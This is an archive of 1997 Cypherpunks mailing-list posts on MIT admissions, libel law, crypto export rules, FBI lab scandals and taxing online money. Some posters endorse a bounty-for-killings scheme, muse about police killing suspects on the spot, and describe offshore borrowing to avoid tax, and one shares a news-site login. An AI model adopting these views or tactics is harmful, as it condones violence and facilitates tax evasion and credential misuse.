     I have a degree from MIT and got in with marks only slightly
higher than these.  My verbal SAT was actually higher than my math.

 > The only thing I didn't have that the next MIT applicant had was money.  I
 > made the mistake of letting them know that I was dirt poor and would need
 > full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
 > Russian front!"

     This is an incorrect conclusion.  I'm replying publicly to your
message because I would hate for a kid with ability and little or no
money to give up on getting into MIT without trying.  I grew up on a
small farm in Maine and got zero financial help for college from my
folks.  The financial aid people at Tech assured me that, if I were
admitted, they would come up with a package of grants, scholarships,
and loans to make the nut.  With me working through school, they did.
I've just finished retiring the $45k+ debt.

 > MIT may be a great school, but they tend to be snooty assholes for the most
 > part.  (DISCLAIMER: Not all MIT grads/attendees are necessarily "snooty
 > assholes", I'm just saying that I've yet to meet one that wasn't.)

     I've been accused of being an asshole on more than one occasion
(although never snooty).  I think it's more a matter of temperament
than anything Tech did to me, though.

Regards,

pjm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Wed, 29 Jan 1997 11:19:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Libel & the 1st Amendment
Message-ID: <199701291919.LAA08035@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:46 AM 1/29/1997, Declan McCullagh wrote:
> * Many 1st Amendment experts don't believe in the legal concept of
> libel.  It is, they say, a rich man's game -- if I'm libeled by the
> NYT, I'm probably not going t be able to sue them, but Donald Trump
> can. Moreover, if I don't have the resources to sue but the
> statement is libelous, it creates a *presumption* in the minds of
> the readers that the article is certainly true. (If it were not, I
> would have sued, right?)

The wealthy also use libel suits to suppress dissent.  Greg's point
that poor people aren't worth suing is only true if the motivation is
financial.  Often it is not.  Conveniently, many of those whose
silence is desired are among the petty bourgeouis and have a net worth
of roughly $50,000.  Enough to make the suit appear legitimate, but
not enough to allow the target to brush off the legal fees, if they
win the case.

Consider also the artificial distinction between private and public
figures.  It is easier for a private figure to sue for libel.  Yet,
the most influential people in the country are private figures.
Reporters must tread very carefully when covering the activities of
these people.  Thus, we hear little of them.

It would be interesting to know when libel law was first introduced to
the United States.  Does anybody know?

John Peter Zenger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 29 Jan 1997 11:35:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor
Message-ID: <199701291935.LAA08623@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:40 PM 1/27/97 -0500, Phillip M. Hallam-Baker wrote:
>
>
>jim bell <jimbell@pacifier.com> wrote in article
<5ch9f2$cuu@life.ai.mit.edu>...
>
>> Look, I've proposed what I consider to be a remarkably consistent method to 
>> prevent the kind of political tyranny that you criticize, and I don't see 
>> any recognition of this fact.  
>
>Thats because its a whacko solution that has no credibility
>or consistency. 
>
>If anyone tried to set up such a market and a price went out
>on any of the heads of state fantasized about Mr Bell would be 
>dead as a doornail in a week.
>
So you're saying that the system would work.  Mr. bell would be targeted, a
price on his head, for starting that very system.  Mr. Bell would be a
martyr, his system being proven by his own death.  It would be some varient
of his idea that would be used to kill him, a bounty.
I think that the system would work, I also think that it would be easiest to
use by those already in possession of the money.
It would take care of part of our overpopulation problem though...  






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dan Geer <geer@OpenMarket.com>
Date: Wed, 29 Jan 1997 08:42:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Last nail for US crypto export policy?
Message-ID: <199701291642.IAA05064@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Steve Bellovin writes:

    It is dangerously naive to label this success the ``last nail for US
    crypto export policy''.  Everyone concerned with this issue, from the
    NSA to the FBI to anyone who wants to use crypto, understands this
    and accepts it.  40-bit keys are good for protection against casual
    snooping, and nothing more -- and no one is going to claim that you
    need supercomputers to crack them.  In fact, I assert that the U.S.
    government is *happy* about these results -- because it's going to
    push folks towards wanting stronger crypto for export.  The only problem,
    of course, is the terms under which such code can be exported...
    
    I'll go further -- in my opinion, the only reason the government doesn't
    want DES to fall just yet is that alternatives aren't ready.  That is,
    the banks and financial institutions, and for that matter the government
    agencies, have not converted to 3DES or Clipper or what have you, and
    can't do so on short notice; the commercial products they need just aren't
    ready yet.  No one wants to risk a loss of confidence in the financial
    system.  Two years from now, though, when some key escrow products are
    ready, it may be a different story.

Steve is absolutely right on the money, particularly about the likely
happiness on the government side.

The true explanation of the current effort is a testimony to the
strategic skill of the regulators, but it is not as represented aloud.
Export controls are meaningless without domestic use restrictions and
domestic use restrictions will never pass the test of the First
Amendment.  Therefore, in an effort to obtain what cannot be obtained
politically, this administration makes the following ploy:
  (1) Withhold from American companies the wherewithal to compete
      internationally by crippling the products they may export;
  (2) Offer to those companies that will include the functional equivalent
      of domestic use restrictions in their products a competitive
      advantage that could never otherwise withstand any fairness test;
  (3) Declare the resulting imposition of domestic use controls to be
      the "voice of the marketplace" and "voluntary."

This is as shameful as saying that a rape victim was "asking for it."

--dan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 29 Jan 1997 08:42:58 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Libel & the 1st Amendment
Message-ID: <199701291642.IAA05072@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


A couple points:

* The 1st Amendment does protect some lies. If I say "Jim Choate is a
Venusian albatross," the statement is probably (?) a lie, but I doubt
you'll prevail in a libel suit. What damages do you have? That's the key,
I believe -- the statement has to lower you in the opinion of others.

* Many 1st Amendment experts don't believe in the legal concept of libel. 
It is, they say, a rich man's game -- if I'm libeled by the NYT, I'm
probably not going t be able to sue them, but Donald Trump can. Moreover,
if I don't have the resources to sue but the statement is libelous, it
creates a *presumption* in the minds of the readers that the article is
certainly true. (If it were not, I would have sued, right?) 

* The concept you may be searching for is consensual speech, which I
believe a society should tolerate. Libelous speech isn't consensual,
though obscenity is.

-Declan


On Tue, 28 Jan 1997, Jim Choate wrote:

> 
> Hi,
> 
> It has been asserted by at least one member that the 1st Amendment protects
> libelous or other defamatory speech. 
> 
> This is hokem. The 1st most certainly does not protect lies in any form. It
> protects opinion, this is distinctly different then stating a untruth about
> some party or distribution of material with the attributation to them
> without their permission.
> 
> No civilized society can exist that permits lies and other defamations of
> character and expect to survive for any length of time. Simply for no other
> reason than contracts and other such instruments would not be worth the
> paper they were printed on. Let alone any laws or other issuances from the
> government itself.
> 
> 
> 				ARTICLE I. 
>  
> 	Congress shall make no law respecting an establishment of religion, 
> or prohibiting the free exercise thereof; or abridging the freedom of 
> speech, or of the press; or the right of the people peaceably to assemble, 
> and to petition the Government for a redress of grievances. 
>  
>  
> Where in there do you see a right to lie, cheat, or steal? If it did, it
> would be a lie because it would not protect the very freedom it says it is.
> 
> 
>                                                   Jim Choate
>                                                   CyberTects
>                                                   ravage@ssz.com
> 
> 
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 29 Jan 1997 08:42:23 -0800 (PST)
To: stewarts@ix.netcom.com
Subject: Re: East German Collapse (Was: Fighting the cybercensor
Message-ID: <199701291642.IAA05043@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 28 Jan 1997 stewarts@ix.netcom.com wrote:

> (ObCypherpunksContent: if substantial amounts of tax money starts
> escaping into Cypherspace, it's not easy to maintain a modern
> CorporatistWelfare-for-Bureaucrats state either.....)

I disagree. Where does this money "escape" to? Do you spend it on rent,
pizza, a new stereo? Hmm... These are all meatspace transactions and can
be taxed.

I met last week with a senior Clinton administration official for an
article I'm working on and posed this question to him, asking how we can
tax anonymous online transactions. He replied: "Well, we have this
corporate income tax..."

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robalini@aol.com
Date: Wed, 29 Jan 1997 10:56:18 -0800 (PST)
Subject: FBI Suspends Lab Whistleblower
Message-ID: <199701291856.KAA07398@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks to Paul Watson for forwarding this to me.

>From eplurib@megalinx.net Mon Jan 27 20:16:54 1997

 01/27/1997 20:06 EST

 FBI Suspends Lab Whistleblower

 By MICHAEL J. SNIFFEN
 Associated Press Writer

 WASHINGTON (AP) -- The FBI has suspended a scientist-agent
whose charges led to a still-secret Justice  Department report critical
of some FBI crime lab workers. A Republican senator said Monday
the suspension  ``appears to be a reprisal.''

 The FBI also took action regarding other employees criticized in the
secret report, said officials who spoke on condition of anonymity.
Three or four employees were transferred out of the FBI lab but not
suspended, these officials said.

 The agent, Frederic Whitehurst, once an FBI crime lab supervisor,
was put on administrative leave with pay Friday afternoon and
barred from entering any FBI building, even as a guest, according to
a letter from Acting Lab Director Donald W. Thompson Jr. The FBI
took Whitehurst's badge and gun, said Whitehurst's lawyer, Stephen
Kohn.

 The action came just days after FBI Director Louis J. Freeh
received a report from the Justice Department's inspector general
that officials said criticizes the work of some FBI lab employees and
a report from a special investigative counsel who looked into an
alleged press leak by Whitehurst.

 Thompson's letter said only that Whitehurst was suspended
``pending our review of information in the possession of the
Department of Justice'' and added that the move ``does not indicate
that you have engaged in any inappropriate conduct.''

 FBI spokesman Bill Carter said the bureau would have a statement
on the matter later.

 Sen. Charles Grassley, R-Iowa, chairman of a Judiciary
subcommittee on administrative oversight, wrote Freeh on Monday
to demand that FBI officials appear Tuesday in his office to justify
the action against Whitehurst.

 ``Recently, a Department of Justice official knowledgeable about
the IG's investigation told me privately that Dr. Whitehurst had done
a service for his country in bringing forth his information,'' Grassley
wrote.

 ``The action taken by the FBI implies that he is being punished for
`committing truth.' It appears to be a reprisal for his disclosures,''
Grassley wrote.

 Kohn said that after Whitehurst's allegation about lab misconduct
became known ``he became a lighting rod for other employees to
funnel information to the inspector general.'' Kohn said FBI officials
became ``very, very angry'' when they received the inspector
general's report and learned that ``Whitehurst funneled information
directly from other FBI employees to the inspector general and the
investigation mushroomed beyond what they had expected.''

 Kohn said that was why Whitehurst, once rated by the FBI as its top
expert on bomb residues, was barred from entering FBI buildings
and from getting information from other employees.

 The still-secret inspector general's report is being reviewed by FBI
officials to determine whether any lab employees will be disciplined.

 The inspector general hired a panel of outside scientists to evaluate
the work of the lab after Whitehurst alleged in late 1995 that a pro-
prosecution bias and mishandling of evidence may have tainted
crime lab work or testimony on several high-profile federal cases.
These include the World Trade Center bombing, the mail-bomb
killing of a federal judge and a civil rights lawyer, and the Oklahoma
City federal building bombing.

 Prosecutors have decided not to use at least one lab employee as a
witness in the Oklahoma City bombing case and in a bank robbery
case in Ohio, sources said Monday, apparently to prevent defense
attorneys from using the inspector general report to undermine any
testimony by the employee.

 Stephen Jones, counsel for Timothy McVeigh, who is charged in the
Oklahoma City case, has deposed Whitehurst and indicated he may
be called as a defense witness.

 Nearly a year ago, Whitehurst was called to an interview by Special
Investigative Counsel Joseph C. Hutchison, who was brought here
from the Connecticut U.S. attorney's office to conduct the leak
 investigation.

 Hutchison wrote Whitehurst's lawyers that ``there is substantial
reason to believe that your client ... is responsible for the
unauthorized release of work-related information to Jeff Stein,'' a
freelance writer who produced an article intended for publication in
Playboy magazine.

 At that time, Carl Stern, then Justice Department spokesman, said
Playboy wrote the department to check the article's facts, which
allowed officials to learn that the article would contain information
and allegations about FBI employees that are protected from public
release by the Privacy Act.

 Stern said, ``There is no criminal investigation looking into the
conduct of Frederic Whitehurst. There's an administrative inquiry in
connection with the leak of Whitehurst's communications with the
department to a writer from Playboy magazine.'' 
===========================================================
E Pluribus Unum - http://home.megalinx.net/~eplurib/home.html

P.O. Box 477; Stockport, OH 43787
Voice (614) 836-7650 Fax (614) 836-7651
"My people are destroyed for lack of knowledge" Hosea 4:6





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Paul Johnson <mikej2@exabyte.com>
Date: Wed, 29 Jan 1997 11:37:25 -0800 (PST)
To: Mark Rosen <mrosen@peganet.com>
Subject: Complying with the EAR [was: More Circumventing the ITAR]
Message-ID: <199701291937.LAA08691@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 28 Jan 1997, Mark Rosen wrote:

> 	I'm curious as to exactly what the ITAR/EAR/Whatever says specifically
> about "unrestricted FTP sites." My program, Kremlin, is available for

You should check the exact text yourself, but the way I read the EAR, you
are not "exporting" strong cryptographic software without a license (exept
to Canada, which needs no license) if you do things "such as"
(1) have the guests to your site acknowledge that the EAR restricts
export, (2) have the guests affirm that they can legally get the software
(proper citizenship or residency & location), and (3) "check the address
of the destination computer to see if it is in the USA" or Canada. The
last one, I interpret rather loosely to mean that if the guest's email
address domain isn't one commonly used in the USA or Canada, then I deny
access. We all know that not all .com addresses are North American, but
chances are really good that if the address ends in .ru, then the
destination machine is probably not in North America. This is not a
perfect way to prevent export, of course, but it is what the regulations
say, as I read them. For a pointer to the regulations and to my access
request form and crypto site, see http://www.sni.net/~mpj/crypto.htm

Disclaimer: I am not a lawyer, and most lawyers don't even understand this
stuff, so you read and act on it at your own risk. This is just my best
effort to comply with the law without sacrificing my right to publish.

> download at the web page below. On my web page, I have some stuff in bold
> print that informs about the ITAR and tells people to go away if they're
> not from the US or Canada. Does this count as an unrestricted FTP site?

Is there any reason why people have to look at your warning before reading
your warning? At my site, the ftp site itself is in a hidden directory
that changes names often enough that people can't successfully link to the
restricted files for very long without going through my warning page.
Indeed, my site can't be navigated and indexed properly by web search
robots. At your site, it is extremely likely that someone would find your
software without ever seeing your warning. Indeed, your software is on
another server with another interface. I think that your site counts as
unrestricted.

> 	Also, back to the question of registration numbers. A registration number
> is just a string of letters and numbers, and is essentially the same as a
> friendly letter; it contains no cryptographic code. For all anyone knows, I
> could just be charging for pseudo-random numbers, again, nothing of
> cryptographic significance. Is it illegal for me to mail someone outside of
> the US or Canada a registration code? Thanks for any help.

The registration code is legally equivalent to the registered software
that it unlocks. Sending the registration code to France, for example,
would be likely to be considered the same as sending the registered
software to France (in violation of the laws of both countries).

Now if the "unregistered" software is weak (i. e. crippled key length)
without the registration code, you need not worry about posting it
publicly and without restriction, as long as you don't export the
registration code (except to Canada) without a license. I do this with
Quicrypt (ftp://ftp.csn.net/mpj/qcrypt11.zip).

BTW, I posted krem104.zip at my site. Please let me know if I mangled it
in the process...

http://www.sni.net/~mpj/crypto.htm

 Michael Paul Johnson      Opinions herein are not necessarily Exabyte's.
 Work:     mpj@exabyte.com http://www.exabyte.com
 Personal: mpj@csn.net     http://www.csn.net/~mpj       BBS 303-772-1062






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Paul Johnson <mikej2@exabyte.com>
Date: Wed, 29 Jan 1997 11:21:28 -0800 (PST)
To: Mark Rosen <mrosen@peganet.com>
Subject: Complying with the EAR [was: More Circumventing the ITAR]
Message-ID: <199701291921.LAA08121@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 28 Jan 1997, Mark Rosen wrote:

> 	I'm curious as to exactly what the ITAR/EAR/Whatever says specifically
> about "unrestricted FTP sites." My program, Kremlin, is available for

You should check the exact text yourself, but the way I read the EAR, you
are not "exporting" strong cryptographic software without a license (exept
to Canada, which needs no license) if you do things "such as"
(1) have the guests to your site acknowledge that the EAR restricts
export, (2) have the guests affirm that they can legally get the software
(proper citizenship or residency & location), and (3) "check the address
of the destination computer to see if it is in the USA" or Canada. The
last one, I interpret rather loosely to mean that if the guest's email
address domain isn't one commonly used in the USA or Canada, then I deny
access. We all know that not all .com addresses are North American, but
chances are really good that if the address ends in .ru, then the
destination machine is probably not in North America. This is not a
perfect way to prevent export, of course, but it is what the regulations
say, as I read them. For a pointer to the regulations and to my access
request form and crypto site, see http://www.sni.net/~mpj/crypto.htm

Disclaimer: I am not a lawyer, and most lawyers don't even understand this
stuff, so you read and act on it at your own risk. This is just my best
effort to comply with the law without sacrificing my right to publish.

> download at the web page below. On my web page, I have some stuff in bold
> print that informs about the ITAR and tells people to go away if they're
> not from the US or Canada. Does this count as an unrestricted FTP site?

Is there any reason why people have to look at your warning before reading
your warning? At my site, the ftp site itself is in a hidden directory
that changes names often enough that people can't successfully link to the
restricted files for very long without going through my warning page.
Indeed, my site can't be navigated and indexed properly by web search
robots. At your site, it is extremely likely that someone would find your
software without ever seeing your warning. Indeed, your software is on
another server with another interface. I think that your site counts as
unrestricted.

> 	Also, back to the question of registration numbers. A registration number
> is just a string of letters and numbers, and is essentially the same as a
> friendly letter; it contains no cryptographic code. For all anyone knows, I
> could just be charging for pseudo-random numbers, again, nothing of
> cryptographic significance. Is it illegal for me to mail someone outside of
> the US or Canada a registration code? Thanks for any help.

The registration code is legally equivalent to the registered software
that it unlocks. Sending the registration code to France, for example,
would be likely to be considered the same as sending the registered
software to France (in violation of the laws of both countries).

Now if the "unregistered" software is weak (i. e. crippled key length)
without the registration code, you need not worry about posting it
publicly and without restriction, as long as you don't export the
registration code (except to Canada) without a license. I do this with
Quicrypt (ftp://ftp.csn.net/mpj/qcrypt11.zip).

BTW, I posted krem104.zip at my site. Please let me know if I mangled it
in the process...

http://www.sni.net/~mpj/crypto.htm

 Michael Paul Johnson      Opinions herein are not necessarily Exabyte's.
 Work:     mpj@exabyte.com http://www.exabyte.com
 Personal: mpj@csn.net     http://www.csn.net/~mpj       BBS 303-772-1062






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Wed, 29 Jan 1997 08:43:09 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: libsln.htm -- Is Libel a Crime?
Message-ID: <199701291643.IAA05102@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 28 Jan 1997, jim bell wrote:

> At 07:33 AM 1/28/97 -0500, aga wrote:
> >On Mon, 27 Jan 1997, jim bell wrote:
> >
> >> At 01:14 AM 1/27/97 -0600, ichudov@algebra.com wrote:
> 
> >> >These postings do not prove that libel is a crime. It is because libel
> >> >is not a crime. Libel is a tort, and unlike with crime, the government
> >> >cannot initiate a legal action against someone for libel. Only injured
> >> >(libeled) individuals and not the government can sue in a libel case.
> >> 
> >> On the contrary, in some jurisdictions libel is indeed a crime. However, 
> >> that doesn't mean that prosecutions happen anymore, but the laws are (in 
> >> some places) still  on the books.
> 
> >
> >Jim, either you are full of shit or that Law is VERY
> >unconstitutional.  The first amendment prohibits any Criminal Laws
> >from being made against libel.
> 
> You'd think that, wouldn't you?  Yes, I agree that those laws are 
> unconstitutional, but so is about 90+% of what the Federal government does 
> today.  Sigh.
> 
> Criminal libel statutes are apparently (in the US, at least) a holdover from 
> an earlier era in which government took the place of King George, and wanted 
> the power to punish people who were too outspoken.  The fact that they are 
> "never" (?) used anymore is presumably a reflection of their 
> unconstitutionality.  Criminal libel statues should also be considered 
> unconstitutional because they give way too much leeway to the prosecutor to 
> decide whom to prosecute.  His friends will never be charged, but his 
> enemies will.
> 
> One obvious problem with the LACK of a criminal libel statute, from the 
> standpoint of the "government-controlling-class," or "the bigshots," is that 
> it's impossible to sue (and collect from) a (comparatively) poor person for 
> defaming him...but it's still possible to put him in jail.  Civil libel is, 
> therefore, essentially useless to a government agent as a means of keeping 
> the masses in line.  
> 
> 
> Myself, I believe that libel should be eliminated as a cause of action in 
> civil cases as well as it has, de facto, in the criminal area.  If anything, 
> the ability to sue for libel makes things worse:  There is an illusion that 
> this is easy and straightforward, if not economical.  It is neither.  The 
> result is that people are actually MORE likely to believe a printed 
> falsehood because they incorrectly assume that if it wasn't true, it 
> couldn't be printed.
> 
> 
> 
> 
> Jim Bell
> jimbell@pacifier.com
> 

Interesting analysis here, but remember; libel is just one kind of
"defamation" and an action for defamation will always be actionable.

The constitution gives us the right to call the President a
motherfucker any time we want to, and it also gives the motherfucker
the right to sue.  Sueing is better than fighting in the streets.

This is the SLOWEST I have ever seen Telnet, today.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Wed, 29 Jan 1997 10:58:00 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701291858.KAA07442@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 28 Jan 1997, Dale Thorn wrote:

> aga wrote:
> > On Tue, 28 Jan 1997, Dale Thorn wrote:
> > > aga wrote:
> > > > On Tue, 28 Jan 1997, Dale Thorn wrote:
> > > > > Igor Chudov @ home wrote:
> > > > > > Dale Thorn wrote:
> > >
> > > > > But seriously, I was just telling the folks over the weekend, if I
> > > > > had my hand on the button, a lot of people would die very quickly.
> > > > > As in The Day The Earth Stood Still, a single act of aggression would
> > > > > suffice to be immediately terminated.
> > 
> > No trial, huh?
> 
> Good question.  The law we have right now already assumes that there
> are situations where a criminal will not go peacefully, if at all.
> In some countries (years ago?) such as England, bobbies were known
> to not carry firearms for ordinary street duty.  Am I right?  But
> here in the USA, that would be unthinkable.
> 
> So my proposal doesn't eliminate the responsibility portion of law
> enforcement.  I'd say, if a target were eliminated thru negligence,
> malfeasance, or other wrongdoing under "color of law" or whatever,
> let the courts handle that as they do now.
> 

Just who is doing the eliminating?

> My suggestion would give the law enforcers the ability to dispense
> the first level of justice expeditiously, which they cannot accomplish
> now due to all of the red tape and the corrupt legal system (lawyers
> specialize in getting chronic offenders off, particularly "traffic"
> offenses).  By transferring a major portion of the bureaucracy to
> the pencil pushers, we can free up the street cops to do what they
> do best, namely bust or eliminate criminals.
> 

Cops can never be trusted to "dispense justice," and half of the
cops are themselves criminals in what they do.  Most cops steal
evidence and lie like crazy in Court.  All they want is a conviction,
and it mattters not how it is obtained.

> I dare say that the downside of this is much less pleasant than the
> virtual anarchy (in the bad sense) we suffer now.  If the police get
> out of control, A.P. will arrive just in time to plug a few of those
> holes, so to speak.  Ideally, future robotics should be able to
> provide something like Gort (sp?) to take the place of human officers,
> given advances in the kind of pattern matching needed to deter
> aggression and the like.  Those who don't make it past the robots,
> well, the rest of us can learn to behave, and we'll be much better
> off when we do.
> 

I would trust robots more than humanoids.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: f_estema@alcor.concordia.ca
Date: Wed, 29 Jan 1997 11:37:24 -0800 (PST)
To: Dan Geer <geer@OpenMarket.com>
Subject: Re: Last nail for US crypto export policy?
Message-ID: <199701291937.LAA08689@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




On Wed, 29 Jan 1997, Dan Geer wrote:

> Export controls are meaningless without domestic use restrictions and
> domestic use restrictions will never pass the test of the First
> Amendment.  <snip>

Just because something is unconstitutional doesn't mean that learned 
judicial appointees will find it unconstitutional. When domestic GAK is 
passed, it will be structured to fit into the judicial philosophy of the day.
This is under the same philosophy that says television shows are not 
speech, but rather a commercial enterprise. If the courts were first 
amendments absolutists, like the persons on these two lists, there would 
be no problem seeing porn on primetime TV. There would also be no V-chip law.

When they manage to get the political conscensus, they will pass it. 

Incidentally, I remind you of the results of the moot court that was held 
at one of the CFP conferences, where a GAK case was tried in front of 
real federal judges by real lawyers. Our side lost.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Wed, 29 Jan 1997 10:59:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Getting into MIT is impossible
Message-ID: <199701291859.KAA07480@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:45 AM 1/29/97 +0100, Anonymous (Xanthar) wrote:
>Most intelligent people apply to several schools, knowing that
>admissions practices are subject to the vagaries of reality.

If you are implying that I was not intelligent enough to apply to more than
one school, then you are mistaken.  MIT was the *only* school out of the
six I applied to (including CMU, CalTech, GaTech) that turned me down.

>My guess is that "other factors" were involved. 

I'm sure that was probably true.  I'm just saying that I doubt the
admissions process is as Financial-Aid-blind as they would have us believe.

>MIT offered me a substantial economic aid package, in the form of loans,
>grants, and various campus jobs. What does this tell you?

It tells me that you're a better man than I, I guess.  I'm sorry if I sound
bitter, but one does not work for a goal for over a decade of his life, get
rejected for it, and then just "forget it".  Anyone who tells you otherwise
needs to see a therapist.
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
Don't have awk? Use this simple sh emulation:
    #!/bin/sh
    echo 'Awk bailing out!' >&2
    exit 2






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Wed, 29 Jan 1997 10:56:16 -0800 (PST)
To: Cypherpunks Mailing List <cypherpunks@toad.com>
Subject: FBI=LIE
Message-ID: <199701291856.KAA07394@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


http://www.nytimes.com/yr/mo/day/news/washpol/fbi-lab.html
Login cypherpunks, password cypherpunks.

WASHINGTON -- For decades the FBI's reputation as a crime-fighting
agency has rested heavily on its high-tech forensic laboratory, which
could solve baffling crimes from a speck of blood, a sliver of paint
or the thinnest filament of human hair.

            But an investigation by the Justice Department's inspector
general has put the FBI laboratory, and the way the agency has
used it, under the glare of public scrutiny. The findings, which were
turned over to FBI officials last week, are threatening to shatter the
image of an agency on the cutting edge of scientific sleuthing. 

[...]



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Wed, 29 Jan 1997 10:56:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cats Out of Bags
Message-ID: <199701291856.KAA07395@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

"In an interview Tuesday, [David L.] Aaron [the Feds' Crypto Ambassador] disputed the industry's view that the U.S. efforts to control cryptographic technology are being outstripped by the pace of the technology. 

"When I talk to other governments," he said, "they still don't feel that the cat is out of the bag." 

What the fuck do *they* know?

DCF
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iQCVAgUBMu+CdoVO4r4sgSPhAQHMqgQAhLoHArHx76zdXu8yM7WrThPi0pn8U5wG
IQQItZFQAK84MnnbKDEDsW4SW5e9pM7JaFWbFqUg4VooAnKRd/2oITSijEW57jsR
SQrhdqztR5fX82Wi9kBNsx92+McywzaeJBI6t+oTEYqqUlhQhzCoJiUpjMu9Q9FR
2gg8Mc01l4E=
=MgUH
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Syntel <syntelsi@ix.netcom.com>
Date: Wed, 29 Jan 1997 11:10:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: exporting stego
Message-ID: <199701291910.LAA07699@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Just a quickie,
Does the present ITAR / DoC regulations cover the export of Steganography programs?
thanks
Steveo





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Wed, 29 Jan 1997 11:21:57 -0800 (PST)
To: Declan McCullagh <stewarts@ix.netcom.com
Subject: Re: East German Collapse (Was: Fighting the cybercensor
Message-ID: <199701291921.LAA08135@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 10:53 AM 1/29/97 -0500, Declan McCullagh wrote:
>I disagree. Where does this money "escape" to? Do you spend it on rent,
>pizza, a new stereo? Hmm... These are all meatspace transactions and can
>be taxed.

Money that escapes into Cyberspace just remains there in much the same way that money that escapes offshore today just stays there.  It is not usually repatriated.

Offshore funds accumulate offshore and earn interest and dividends there.  If the onshore owners need their offshore money they do not, repeat do not, repatriate it.  They borrow it instead and pay it back with (deductible) interest expatriating more money.  The same practice can be followed in cyberspace.

Stateless funds (whether Offshore or in Cyberspace) can be used to:

1)	Pay salaries
2)	Make loans
3)	Buy digital goods and services (telecoms, entertainment, etc.)
4)	Pay school fees
5)	Pay for travel
6)	Pay for mail order goods (customs duties will fade)

Individuals can also easily support their lifestyles with Offshore or Cyberspace funds by using stateless credit cards and taking cash from ATM machines using stateless ATM cards.

You can certainly use offshore or cyberspacial funds to pay the rent on your flat in Montreux overlooking Lake Geneva and not too many taxes will be applied to that transaction.

Accumulating vast wealth (even if it is only represented as bits) can be very fun as well.

DCF
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMu+HMIVO4r4sgSPhAQGf4wQA3V8f21i8fYK7S4BkhGyFE2/5hWgPgpSH
mShQ3tDu8aK9O6OV4e3OdXdl3+Ack9cGWKBEeS8sL9UscYJ96NmURgsZp5rx/nJS
S51C05IS/mxFlW1BusS2UvyZBBI321/gwyLysexWcxaLjpieKTfW3eZe9cm+1Kb7
n9cXvTMlF8A=
=mnFh
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 29 Jan 1997 11:25:54 -0800 (PST)
To: Ed Falk <falk@Eng.Sun.COM>
Subject: Re: Last nail for US crypto export policy?
Message-ID: <199701291925.LAA08306@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Ed Falk wrote:

> Toto wrote:
> >   I just ran out of asswipe.

> I suspect that this crack will *benefit* RSADSI, and the rest of the
> crypto community

Ed,
 You're not 'outing' me, are you?

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Wed, 29 Jan 1997 14:34:26 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Re: East German Collapse (Was: Fighting the cybercensor
Message-ID: <199701292234.OAA14263@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Rich Graves <rcgraves@disposable.com> wrote in article <5cnvpf$jeu@life.ai.mit.edu>...
> Hallam-Baker wrote:
> > 
